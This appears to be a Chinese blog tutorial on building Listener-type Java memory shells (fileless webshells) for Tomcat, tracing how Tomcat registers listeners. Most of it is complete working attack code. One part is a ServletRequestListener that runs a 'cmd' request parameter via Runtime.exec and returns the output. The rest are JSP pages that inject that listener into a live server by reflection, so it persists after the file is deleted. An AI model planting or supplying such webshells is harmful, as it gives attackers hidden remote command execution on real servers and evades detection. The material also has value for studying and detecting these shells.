内存马
定义
内存马,也被称为无文件马,是无文件攻击的一种常用手段。而无文件攻击呢顾名思义就是不利用shell文件进行攻击,但这里的无文件并不是真的意义上的“无文件”,而是一种攻击思路,是将恶意文件内容以脚本形式存在计算机中的内存、注册表子项目中或者利用系统合法工具以逃避安全检测的方法。
分类
- servlet-api类
○ listener型
○ filter型
○ servlet型 - spring类
○ 拦截器
○ controller型 - Java Instrumentation类
○ agent型
Listener
顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。在请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
request只要访问服务就能触发,所以listener的request方式最适合做内存马
环境配置
idea配置tomcat_a大数据yyds的博客_idea tomcat
添加个Tomcat服务,里边这些选项不需修改的话默认即可
File->Project Structure
在Modules中我们可以看到我们项目Module。右键,Add一个Web。
添加好后设置好web.xml
路径和index.jsp
的路径
配置好Modules,我们再配置Artifacts。在Artifacts中,点击绿色加号。选择Web Application:Exploded,然后再选择我们刚配置的Moudules
在Tomcat Server设置刚刚刚添加好的war_exploded即可
恶意Listener构造
Listener 必须实现 EventListener 接口
可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener
找到了ServletRequestListener
public interface ServletRequestListener extends EventListener {
default void requestDestroyed(ServletRequestEvent sre) {
}
default void requestInitialized(ServletRequestEvent sre) {
}
}
用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法这里做个demo测试下
Listener.java
package memoryshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class Listener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}
}
web.xml,这里填写自己包的位置即可
<listener>
<listener-class>memoryshell.Listener</listener-class>
</listener>
运行后成功执行我们预定义的方法
找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了
- 恶意代码写在哪里?
- Tomcat 中的 Listener 是如何实现注册的?
恶意代码写在System.out.println("执行了TestListener requestInitialized");
这里就好了
而在Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件
public void requestInitialized(ServletRequestEvent sre) {}
做内存马那我们就需要获取传入的请求,即:cmd=whoami
http://localhost:8081/Java_Security_war_exploded/listener.jsp?cmd=whoami
所以我们需要寻找 sre 的一个方法来获取到请求,找到了getServletRequest
方法,根据名字也能看出获取request请求
跟进看一下,这里返回的类型是ServletRequest接口的实现类类型
所以本地调试一下看看用到的是哪个实现类的类型
public void requestInitialized(ServletRequestEvent sre) {
System.out.println(sre.getServletRequest());
}
返回的是RequestFacade
类型
org.apache.catalina.connector.RequestFacade@791bd73a
执行了TestListener requestDestroyed
跟进之后发现request
属性中就有这我们需要的 Request类型,所以直接反射获取值即可
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
System.out.println(request);
}catch (Exception e){
e.printStackTrace();
}
这里就直接构造好了我们需要的类型
最后把获取的参数值作为我们的 Runtime 的参数就可以了
package memoryshell;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
public class Listener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
直接执行命令
注册流程
listenerStart()
Listener 既然要被注册进并使用,所以期间肯定会实例化这个类,所以断点打在了class类和命令执行的部分
直接跟到StandardContext#listenerStart 方法,在4660行进行了实例化,用到参数是listener而listener的值是从listeners来的,listeners又是通过findApplicationListeners()
获取的,最后又传入了results中
findApplicationListeners()
返回的是applicationListeners
属性
public String[] findApplicationListeners() {
return applicationListeners;
}
它的值就是我们web.xml写入的值
接着往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中
ArrayList<Object> eventListeners = new ArrayList<>();
ArrayList<Object> lifecycleListeners = new ArrayList<>();
for (int i = 0; i < results.length; i++) {
if ((results[i] instanceof ServletContextAttributeListener)
|| (results[i] instanceof ServletRequestAttributeListener)
|| (results[i] instanceof ServletRequestListener)
|| (results[i] instanceof HttpSessionIdListener)
|| (results[i] instanceof HttpSessionAttributeListener)) {
eventListeners.add(results[i]);
}
if ((results[i] instanceof ServletContextListener)
|| (results[i] instanceof HttpSessionListener)) {
lifecycleListeners.add(results[i]);
}
}
接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener),之后存储到eventListeners
中,在经过setApplicationEventListeners()
进行设置
跟进setApplicationEventListeners()
,先通过clear()清空,在将传入的listeners重新赋值给它
public void setApplicationEventListeners(Object listeners[]) {
applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}
applicationEventListenersList 是List<Object>
类型的所以这里面存放的都是实例化后的 listener
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
至此listenerStart就结束了,这部分主要就是进行了listener的存储
fireRequestInitEvent()
在存储后就需要找个触发点,找到了fireRequestInitEvent()
这里,最后调用了requestInitialized(event);
,也就是我们在listener构造时触发的地方,所以可以通过listener恶意执行代码
listener是通过instances赋值来了,而instances则是getApplicationEventListeners()
的返回值,这就联系到了前边listenerStart()
中通过该方法进行存储的地方
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
poc构造
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class Listen implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new Listen());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>
此时将listen.jsp
删除后命令仍可以执行,重启服务器后内存马就不在了
附上网络上公开的内存马:
方式一:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>